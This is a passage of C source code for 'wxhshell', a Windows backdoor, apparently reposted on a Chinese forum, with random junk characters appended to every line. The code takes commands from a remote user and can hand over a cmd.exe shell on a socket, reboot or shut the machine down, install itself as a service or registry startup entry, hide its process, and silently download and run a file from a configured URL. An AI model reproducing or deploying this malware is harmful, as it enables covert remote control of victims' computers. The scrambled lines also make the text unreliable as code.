    switch(cmd[0]) { &#OF,_6"m  
  +}eK8>2  
  // 帮助  )|W6Z  
  case '?': { uH#X:Vne  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V{X/yN.u  
    break; y2R\SL,  
  } H|/"'t OZ  
  // 安装 @.,'A[D!K  
  case 'i': { +wZ|g6vMct  
    if(Install()) =&~ K;=:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n*caP9B  
    else @9l$j Z~x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2nCHL '8N  
    break; w|4CBll  
    } 4}Lui9  
  // 卸载 yoz-BS  
  case 'r': { xm tD0U1  
    if(Uninstall()) "G Jhx/zt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! 6R|  
    else k#Qjm9V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /JIVp_-p  
    break; Nw%^Gs<~  
    } @\+UTkl8  
  // 显示 wxhshell 所在路径 tg<bVA)E'J  
  case 'p': { \\C!{}+  
    char svExeFile[MAX_PATH]; U*XdFH}vV  
    strcpy(svExeFile,"\n\r"); |W*2L] &  
      strcat(svExeFile,ExeFile); j$4lyDfD  
        send(wsh,svExeFile,strlen(svExeFile),0); SJE!14|e  
    break; iH>b"H >  
    } s~k62  
  // 重启 UG]x CkDS  
  case 'b': { iF_u/#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y oZd,} i  
    if(Boot(REBOOT)) C~PP}|<~V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&J`mq  
    else { ry+|gCZ  
    closesocket(wsh); _>^Y0C[?5  
    ExitThread(0); BM5)SgK  
    } ~+PKWs'}F  
    break; oG-Eac,  
    } pp2 Jy{\d  
  // 关机 rddn"~lm1  
  case 'd': { v!=e]w6{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sg13Dp @x  
    if(Boot(SHUTDOWN)) 5!jt^i]O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}s,WC2-  
    else { Fxn=+Xgg  
    closesocket(wsh); F*Ul#yX  
    ExitThread(0); AjsjYThV  
    } CY"i|s  
    break; JB!*{{  
    } BF"eVKA  
  // 获取shell %Rf{v5  
  case 's': { 4-9cp=\PE  
    CmdShell(wsh); g@ ]1H41  
    closesocket(wsh); d <zD@ z  
    ExitThread(0); BWr!K5w>i  
    break; S+?*l4QK  
  } fT=ZiHJ3Gu  
  // 退出 I/gfsyfA  
  case 'x': { 7 ,Q7`}gBf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |aj]]l[@S  
    CloseIt(wsh); H~:g =Zw  
    break; V'9OGn2v  
    } j`_Z`eG  
  // 离开 e.(RhajB  
  case 'q': { ~8'HX*B]z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |1Nz8Vr.  
    closesocket(wsh); mn(MgJKQ\  
    WSACleanup(); ANR611-a  
    exit(1); )P|/<>z  
    break; V1A7hRjxvG  
        } &m{~4]qWpM  
  } #XNURj  
  } "*KOU2}C  
"AIS6%,  
  // 提示信息 d8WEsQ+)A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); & fnfuU$   
} RG/P]  
  } ,pW^>J  
VotI5O $  
  return; \;+b1  
} 8:]5H}H i  
lg@q} ]1  
// shell模块句柄 s yb$%  
int CmdShell(SOCKET sock) Q?'Ax"$D  
{ p4K 8L'nZ  
STARTUPINFO si; }@53*h i(  
ZeroMemory(&si,sizeof(si)); GF0Utp:Zf;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YLV$#a3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j>~ @vq  
PROCESS_INFORMATION ProcessInfo; / $'M  
char cmdline[]="cmd"; sEx\7tK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6X$\:>  
  return 0; w h^I|D?"  
} U* T :p>&  
vY,]f^F"  
// 自身启动模式 Tn$| Xa+:s  
int StartFromService(void) NE Z ]%  
{ w aDJ  
typedef struct |8\et  
{ Q}#H|@  
  DWORD ExitStatus; >~&7D`O  
  DWORD PebBaseAddress; y|WOw(#  
  DWORD AffinityMask; CS"p3$7,  
  DWORD BasePriority; P?y{ 9H*  
  ULONG UniqueProcessId; *Oy%($'  
  ULONG InheritedFromUniqueProcessId; ?[lKft  
}   PROCESS_BASIC_INFORMATION; -AKbXkc~\  
o7g6*hJz  
PROCNTQSIP NtQueryInformationProcess; ` $[`C/h  
[+:KIW<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r\|"j8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TJs@V>,  
@2 SL$0!QA  
  HANDLE             hProcess; utw@5  
  PROCESS_BASIC_INFORMATION pbi; ]8opI\  
-} +PE 4fh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lpefOnO[  
  if(NULL == hInst ) return 0; D&8*4>  
>Wj8[9zf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bvo }b-]E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cp+eh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M]e _@:!  
}$s._)a  
  if (!NtQueryInformationProcess) return 0; 9K{0x7~  
23`pog{n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); et}s yPH  
  if(!hProcess) return 0; w"j[c#vM  
dJZ 9mP!d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `ln= D$  
pB,@<\l %  
  CloseHandle(hProcess); iS28p  
]&L[]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3a,7lTUuB  
if(hProcess==NULL) return 0; hfQ^C6yR  
)W![TIp  
HMODULE hMod; .fS1  
char procName[255]; Lmyw[s\U  
unsigned long cbNeeded; 1 BVpv7@  
;#?+i`9'q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f@IL2DL}\  
GSg/I.)S  
  CloseHandle(hProcess); N~ M-|^L  
-Cf< #'x_  
if(strstr(procName,"services")) return 1; // 以服务启动 YZ+<+`Mz<  
vlZ?qIDe  
  return 0; // 注册表启动 K 7d]p0d'  
} e+O0l  
Jm G)=$,  
// 主模块 6.GIUM%D  
int StartWxhshell(LPSTR lpCmdLine) !rgdOlTR^  
{ m2Q#ATLW  
  SOCKET wsl; wB0ONH[  
BOOL val=TRUE; ed7Hz#Qc  
  int port=0; qL68/7:A  
  struct sockaddr_in door; N/ mC,7Q  
A*hc w  
  if(wscfg.ws_autoins) Install(); `]g}M,  
2<5s0GT'/  
port=atoi(lpCmdLine); NU|T`gP  
YQ<O .E  
if(port<=0) port=wscfg.ws_port; ]]bL;vlw  
WqRg/  
  WSADATA data; :+|os"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D|!^8jHj  
i6h , Aw3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E@\bFy_!>b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uCpk1d  
  door.sin_family = AF_INET; B (dq$+4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *Z"(K\1TH  
  door.sin_port = htons(port); |Xl,~-.  
m.N/g,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0sKY;(  
closesocket(wsl); Ot_xeg;7  
return 1; cLe659&  
} H?axlRmw3  
~*h` ?A0  
  if(listen(wsl,2) == INVALID_SOCKET) { /S+gh;2OC  
closesocket(wsl); l %{$CmG\  
return 1; w">p 8  
} I- X|-  
  Wxhshell(wsl); u!&Vbo? .B  
  WSACleanup(); pjX')i<  
mam2]St"  
return 0; "J%/xj  
3EKqXXzOB  
} (""1[XURQK  
c B9`U4<  
// 以NT服务方式启动 YkLEK|d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O)!MWmr  
{ Ym*Ed[S  
DWORD   status = 0; nzHsyL  
  DWORD   specificError = 0xfffffff; rTjV/~  
G#;$;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZO $}m?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d`;_~{sleR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {'#^  
  serviceStatus.dwWin32ExitCode     = 0; +kKfx!  
  serviceStatus.dwServiceSpecificExitCode = 0; <t0o{}^P*  
  serviceStatus.dwCheckPoint       = 0; OQON~&~  
  serviceStatus.dwWaitHint       = 0; 85 tQHm6j  
%maLo RJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;yO7!{_  
  if (hServiceStatusHandle==0) return; 4X2/n  
~Xg@,?Zr  
status = GetLastError(); 2*K _RMr~  
  if (status!=NO_ERROR) 7.PG*q  
{ wZm=h8d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )_nc;&%w  
    serviceStatus.dwCheckPoint       = 0; n1xN:A  
    serviceStatus.dwWaitHint       = 0; ?qt>;o|Ue  
    serviceStatus.dwWin32ExitCode     = status; QviH+9  
    serviceStatus.dwServiceSpecificExitCode = specificError; p}NIZ)]$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "7pd(p *C  
    return; #Xc6bA&  
  } Q1Sf7)  
iVt*N$iZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7usf^g[dh  
  serviceStatus.dwCheckPoint       = 0; \P_1@sH=  
  serviceStatus.dwWaitHint       = 0; }pa@qZXh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t*zBN!Wu_  
} V[Jd1T  
FU|c[u|z  
// 处理NT服务事件,比如:启动、停止 %K_[Bx{B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8ctUK|  
{ Yl+r>+^  
switch(fdwControl) Ii,Lj1Q  
{ Z`5v6"Na  
case SERVICE_CONTROL_STOP: ;m3SlP{F  
  serviceStatus.dwWin32ExitCode = 0; 1wl8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yU~OfwQ  
  serviceStatus.dwCheckPoint   = 0; 3cNF^?\=  
  serviceStatus.dwWaitHint     = 0; }Z ws e%;  
  { o5\nqw^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $gN1&K  
  } >g@;`l.Z#  
  return; \*s'S*~  
case SERVICE_CONTROL_PAUSE: ~/6m|k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Yq.Cz:>b  
  break; 8#w}wGV*  
case SERVICE_CONTROL_CONTINUE: )} y1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eXI^9uH  
  break; 2c.~cNx`q[  
case SERVICE_CONTROL_INTERROGATE: HPGi5rU  
  break; E3\O?+ h#  
}; )x-iru A:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BOLG#}sm  
} 9i8D_[  
D84`#Xbi  
// 标准应用程序主函数 O>z M(I+p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wY2#xD  
{ WVp7H  
YB h :  
// 获取操作系统版本 )A a98Eu?2  
OsIsNt=GetOsVer(); {4g1Wr5=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fMn7E8.  
z F'{{7o  
  // 从命令行安装 +%G*)8N3  
  if(strpbrk(lpCmdLine,"iI")) Install(); %QUV351H  
HPAd@5d(  
  // 下载执行文件 ) w.cCDL c  
if(wscfg.ws_downexe) { N?H;fK4v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /I3#WUc;![  
  WinExec(wscfg.ws_filenam,SW_HIDE); MC!K7ji  
} ` RUr/|S  
AAkdwo  
if(!OsIsNt) { @ba5iIt  
// 如果时win9x,隐藏进程并且设置为注册表启动  s%Q pb{  
HideProc(); ^IuHc_  
StartWxhshell(lpCmdLine); xNTO59Y-s  
} \eE0Rnaf-  
else 2+Z2`k]AC  
  if(StartFromService()) iKa}@U  
  // 以服务方式启动 Cd.pMoS  
  StartServiceCtrlDispatcher(DispatchTable); O^I~d{M 5I  
else ,qak_bP  
  // 普通方式启动 &E$jAqc  
  StartWxhshell(lpCmdLine); 6>)]7(B<d  
YBN. waL  
return 0; pO$`(+q[  
}
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只看该作者 1 发表于: 2006-10-10
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